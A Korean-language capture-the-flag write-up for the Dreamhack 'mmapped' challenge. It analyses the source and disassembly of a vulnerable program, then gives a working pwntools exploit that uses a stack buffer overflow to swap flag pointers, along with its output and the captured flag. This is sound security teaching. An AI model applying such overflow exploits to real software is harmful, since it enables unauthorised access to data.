dreamhack - mmapped writeup
[dreamhack] mmapped writeup
1. 문제

프로그램의 취약점을 찾고 익스플로잇하여 플래그를 출력하세요.
플래그는 ./flag 파일에 위치합니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define FLAG_SIZE 0x45
int main(int argc, char *argv[]) {
int len;
char * fake_flag_addr;
char buf[0x20];
int fd;
char * real_flag_addr;
initialize();
fd = open("./flag", O_RDONLY);
len = FLAG_SIZE;
fake_flag_addr = "DH{****************************************************************}";
printf("fake flag address: %p\n", fake_flag_addr);
printf("buf address: %p\n", buf);
real_flag_addr = (char *)mmap(NULL, FLAG_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
printf("real flag address (mmapped address): %p\n", real_flag_addr);
printf("%s", "input: ");
read(0, buf, 60);
mprotect(real_flag_addr, len, PROT_NONE);
write(1, fake_flag_addr, FLAG_SIZE);
printf("\nbuf value: ");
puts(buf);
munmap(real_flag_addr, FLAG_SIZE);
close(fd);
return 0;
}
fake_flag_addr
과 real_flag_addr
, buf
의 주소를 출력하는데 그 사이에 real_flag_addr
은 mmap
함수를 통해서 권한을 제어한다.
그리고 buf
에 입력을 주고 이를 출력한다.
우선 buf
변수는 코드 상에서는 0x20
으로 설정되어있는데 60바이트만큼 입력이 가능하게 되어 아마 bof
가 발생하는듯 하다.
실제 gdb
를 보고 각 변수의 위치를 확인해보자.
pwndbg> disass main
Dump of assembler code for function main:
0x00000000000012b0 <+0>: endbr64
0x00000000000012b4 <+4>: push rbp
0x00000000000012b5 <+5>: mov rbp,rsp
0x00000000000012b8 <+8>: sub rsp,0x50
0x00000000000012bc <+12>: mov DWORD PTR [rbp-0x44],edi
0x00000000000012bf <+15>: mov QWORD PTR [rbp-0x50],rsi
0x00000000000012c3 <+19>: mov eax,0x0
0x00000000000012c8 <+24>: call 0x1269 <initialize>
0x00000000000012cd <+29>: mov esi,0x0
0x00000000000012d2 <+34>: lea rax,[rip+0xd2f] # 0x2008
0x00000000000012d9 <+41>: mov rdi,rax
0x00000000000012dc <+44>: mov eax,0x0
0x00000000000012e1 <+49>: call 0x1170 <open@plt>
0x00000000000012e6 <+54>: mov DWORD PTR [rbp-0x4],eax
0x00000000000012e9 <+57>: mov DWORD PTR [rbp-0x8],0x45
0x00000000000012f0 <+64>: lea rax,[rip+0xd19] # 0x2010
0x00000000000012f7 <+71>: mov QWORD PTR [rbp-0x10],rax
0x00000000000012fb <+75>: mov rax,QWORD PTR [rbp-0x10]
0x00000000000012ff <+79>: mov rsi,rax
0x0000000000001302 <+82>: lea rax,[rip+0xd4c] # 0x2055
0x0000000000001309 <+89>: mov rdi,rax
0x000000000000130c <+92>: mov eax,0x0
0x0000000000001311 <+97>: call 0x1110 <printf@plt>
0x0000000000001316 <+102>: lea rax,[rbp-0x40]
0x000000000000131a <+106>: mov rsi,rax
0x000000000000131d <+109>: lea rax,[rip+0xd48] # 0x206c
0x0000000000001324 <+116>: mov rdi,rax
0x0000000000001327 <+119>: mov eax,0x0
0x000000000000132c <+124>: call 0x1110 <printf@plt>
0x0000000000001331 <+129>: mov eax,DWORD PTR [rbp-0x4]
0x0000000000001334 <+132>: mov r9d,0x0
0x000000000000133a <+138>: mov r8d,eax
0x000000000000133d <+141>: mov ecx,0x2
0x0000000000001342 <+146>: mov edx,0x1
0x0000000000001347 <+151>: mov esi,0x45
0x000000000000134c <+156>: mov edi,0x0
0x0000000000001351 <+161>: call 0x1100 <mmap@plt>
0x0000000000001356 <+166>: mov QWORD PTR [rbp-0x18],rax
0x000000000000135a <+170>: mov rax,QWORD PTR [rbp-0x18]
0x000000000000135e <+174>: mov rsi,rax
0x0000000000001361 <+177>: lea rax,[rip+0xd18] # 0x2080
0x0000000000001368 <+184>: mov rdi,rax
0x000000000000136b <+187>: mov eax,0x0
0x0000000000001370 <+192>: call 0x1110 <printf@plt>
0x0000000000001375 <+197>: lea rax,[rip+0xd2d] # 0x20a9
0x000000000000137c <+204>: mov rsi,rax
0x000000000000137f <+207>: lea rax,[rip+0xd2b] # 0x20b1
0x0000000000001386 <+214>: mov rdi,rax
0x0000000000001389 <+217>: mov eax,0x0
0x000000000000138e <+222>: call 0x1110 <printf@plt>
0x0000000000001393 <+227>: lea rax,[rbp-0x40]
0x0000000000001397 <+231>: mov edx,0x3c
0x000000000000139c <+236>: mov rsi,rax
0x000000000000139f <+239>: mov edi,0x0
0x00000000000013a4 <+244>: call 0x1130 <read@plt>
0x00000000000013a9 <+249>: mov eax,DWORD PTR [rbp-0x8]
0x00000000000013ac <+252>: movsxd rcx,eax
0x00000000000013af <+255>: mov rax,QWORD PTR [rbp-0x18]
0x00000000000013b3 <+259>: mov edx,0x0
0x00000000000013b8 <+264>: mov rsi,rcx
0x00000000000013bb <+267>: mov rdi,rax
0x00000000000013be <+270>: call 0x1160 <mprotect@plt>
0x00000000000013c3 <+275>: mov rax,QWORD PTR [rbp-0x10]
0x00000000000013c7 <+279>: mov edx,0x45
0x00000000000013cc <+284>: mov rsi,rax
0x00000000000013cf <+287>: mov edi,0x1
0x00000000000013d4 <+292>: call 0x10f0 <write@plt>
0x00000000000013d9 <+297>: lea rax,[rip+0xcd4] # 0x20b4
0x00000000000013e0 <+304>: mov rdi,rax
0x00000000000013e3 <+307>: mov eax,0x0
0x00000000000013e8 <+312>: call 0x1110 <printf@plt>
0x00000000000013ed <+317>: lea rax,[rbp-0x40]
0x00000000000013f1 <+321>: mov rdi,rax
0x00000000000013f4 <+324>: call 0x10e0 <puts@plt>
0x00000000000013f9 <+329>: mov rax,QWORD PTR [rbp-0x18]
0x00000000000013fd <+333>: mov esi,0x45
0x0000000000001402 <+338>: mov rdi,rax
0x0000000000001405 <+341>: call 0x1140 <munmap@plt>
0x000000000000140a <+346>: mov eax,DWORD PTR [rbp-0x4]
0x000000000000140d <+349>: mov edi,eax
0x000000000000140f <+351>: call 0x1120 <close@plt>
0x0000000000001414 <+356>: mov eax,0x0
0x0000000000001419 <+361>: leave
0x000000000000141a <+362>: ret
End of assembler dump.
mprotect
가 실행되는 위치를 보면 real_flag_addr
과 len
변수의 위치를 알 수 있다.
또한 중간의 printf
함수가 실행되는 것을 보면 buf
, write
함수가 실행되는 것을 보면 fake_flag_addr
을 알 수 있고,
그리고 마지막 close
함수가 실행되는 위치를 보면 fd
위치를 알 수 있다.
따라서 정리해보면 스택에 아래와 같이 변수가 들어가있다.
변수명 | 위치 |
---|---|
buf | rbp-0x40 |
real_flag_addr | rbp-0x18 |
fake_flag_addr | rbp-0x10 |
len | rbp-0x8 |
fd | rbp-0x4 |
buf
부터 60바이트를 덮을 수 있으므로 len
변수까지 넉넉하게 덮을 수 있다.
코드를 보면 write
함수를 통해서 fake_flag_addr
위치의 값을 출력하도록 되어있는데 해당 위치에 real_flag_addr
을 덮어주면 실제 flag가 출력될 것이다.
그런데 write
함수 전에 mmap
함수를 통해 real_flag_addr
이 가리키는 위치의 읽기 권한을 제거해버려서 write
함수가 제대로 실행되지 않을 것이다.
따라서 real_flag_addr
을 fake_flag_addr
로 덮어버리면 읽기 권한이 그대로 존재하게 되고, write
함수를 통해 정상적으로 실행될 것이다.
이를 정리하면 payload는 이렇게 된다.
payload = dummy (0x28) + fake_flag_addr (8) + real_flag_addr (8)
이를 이용해서 exploit을 작성하였다.
from pwn import *
p = process("./chall")
p = remote("host8.dreamhack.games", 11125)
tmp = p.recvuntil("input: ")
data = tmp.split()
fake_flag_addr = int(data[3], 16)
real_flag_addr = int(data[-2], 16)
print(fake_flag_addr)
print(real_flag_addr)
payload = b''
payload += b'a' * 0x28
payload += p64(fake_flag_addr)
payload += p64(real_flag_addr)
p.send(payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level1/mmapped$ python3 e_chall.py
[+] Starting local process './chall': pid 2209552
[+] Opening connection to host8.dreamhack.games on port 11125: Done
/home/ubuntu/dreamhack/level1/mmapped/e_chall.py:6: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
tmp = p.recvuntil("input: ")
94210911633424
140357921521664
[*] Switching to interactive mode
DH{12f5866c0bb4d3bc1769d0c9869af2dd39673616da53c2b4b93b8e4ba3886bbd}\x00
buf value: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x10
[*] Got EOF while reading in interactive
mmap
함수가 들어가있긴 했지만 간단한 bof
문제였다.
해결~